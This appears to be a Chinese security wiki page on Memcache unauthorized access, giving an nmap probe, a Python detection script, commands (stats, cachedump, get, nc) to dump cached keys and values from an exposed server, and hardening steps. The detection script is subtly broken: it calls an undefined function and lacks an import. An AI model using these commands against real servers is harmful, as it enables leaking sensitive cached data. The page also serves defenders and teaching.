menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 080-Memcache chevron_right 001-Memcache未授权访问.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    001-Memcache未授权访问.md
    3.91 KB / 2021-07-17 00:01:20
        # Memcache未授权访问
    
    ### 一、漏洞简介
    
    memcached是一套分布式的高速缓存系统。它以Key-Value(键值对)形式将数据存储在内存中,这些数据通常是应用读取频繁的。正因为内存中数据的读取远远大于硬盘,因此可以用来加速应用的访问。
    
    ### 二、影响范围
    
    ### 三、复现过程
    
    1.扫描探测
    
    
    ```bash
    nmap -sV -p 11211 --script memcached-info 0.0.0.0
    ```
    
    ![](images/15891217574774.png)
    
    
    
    ```python
    ##! /usr/bin/env python
    ## _*_  coding:utf-8 _*_
    def Memcache_check(ip, port=11211, timeout=5):
        try:
            socket.setdefaulttimeout(timeout)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ip, int(port)))
            s.send("stats\r\n")
            result = s.recv(1024)
            if "STAT version" in result:
                print '[+] Memcache Unauthorized: ' +ip+':'+str(port)
        except Exception, e:
            pass
    if __name__ == '__main__':
        Elasticsearch_check("127.0.0.1")
    ```
    
    **2.攻击利用**
    
    2.1 基础部分
    
    通过一个cheat sheet了解一下Memcached的协议。Memcached的语法由如下元素组成
    
    *{COMMAND}0x20{ARGUMENT}(LF|CRLF)*
    
    command字段有如下几条命令
    
    * 存储操作(set, add, replace, append, prepend, cas)
    * 检索操作 (get, gets)
    * 删除操作 (delete)
    * 增减操作 (incr, decr)
    * touch
    * slabs reassign
    * slabs automove
    * lru_crawler
    * 统计操作(stats items, slabs, cachedump)
    * 其他操作 (version, flush_all, quit)
    
    ![-w496](images/15891217969632.jpg)
    
    
    version | 打印Memcached版本 | version
    
    
    ```bash
    stats  //查看memcache 服务状态
    stats items  //查看所有items
    stats cachedump 32 0  //获得缓存key
    get :state:264861539228401373:261588   //通过key读取相应value ,获得实际缓存内容,造成敏感信息泄露
    ```
    
    2.2 建立连接并获取信息
    
    `telnet 11211`,或` nc -vv 11211`,无需用户名密码,可以直接连接memcache 服务的11211端口。
    
    ![](images/15891218202794.png)
    
    
    附赠大佬写的文章 [Discuz!因Memcached未授权访问导致的RCE](https://xz.aliyun.com/t/2018)
    
    **3.防范措施**
    
    1.限制访问
    
    如果memcache没有对外访问的必要,可在memcached启动的时候指定绑定的ip地址为 127.0.0.1。其中 -l 参数指定为本机地址。例如:
    
    
    ```
    memcached -d -m 1024 -u root -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid
    ```
    
    或者 vim /etc/sysconfig/memcached,修改配置文件
    
    `OPTIONS="-l 127.0.0.1",只能本机访问,不对公网开放,保存退出 /etc/init.d/memcached reload`
    
    2.防火墙
    
    
    ```bash
    // accept
    ## iptables -A INPUT -p tcp -s 127.0.0.1 --dport 11211 -j ACCEPT
    ## iptables -A INPUT -p udp -s 127.0.0.1 --dport 11211 -j ACCEPT
    
    // drop
    ## iptables -I INPUT -p tcp --dport 11211 -j DROP
    ## iptables -I INPUT -p udp --dport 11211 -j DROP
    
    // 保存规则并重启 iptables
    ## service iptables save
    ## service iptables restart
    ```
    
    3.使用最小化权限账号运行Memcached服务
    
    使用普通权限账号运行,指定Memcached用户。
    
    
    ```bash
    memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid
    ```
    
    4.启用认证功能
    
    Memcached本身没有做验证访问模块,Memcached从1.4.3版本开始,能支持SASL认证。SASL认证详细配置手册
    
    5.修改默认端口
    
    修改默认11211监听端口为11222端口。在Linux环境中运行以下命令:
    
    
    ```bash
    memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11222 -c 1024 -P /tmp/memcached.pid
    ```
    
    6.定期升级
    
    **参考:**
    
    http://lzone.de/cheat-sheet/memcached
    https://www.secpulse.com/archives/49659.html
    https://www.sensepost.com/blog/2010/blackhat-write-up-go-derper-and-mining-memcaches/
    https://www.blackhat.com/docs/us-14/materials/us-14-Novikov-The-New-Page-Of-Injections-Book-Memcached-Injections-WP.pdf
    http://niiconsulting.com/checkmate/2013/05/memcache-exploit/
    https://xz.aliyun.com/t/2018
    http://drops.xmd5.com/static/drops/web-8987.html
    https://blog.csdn.net/microzone/article/details/79262549
    
    links
    file_download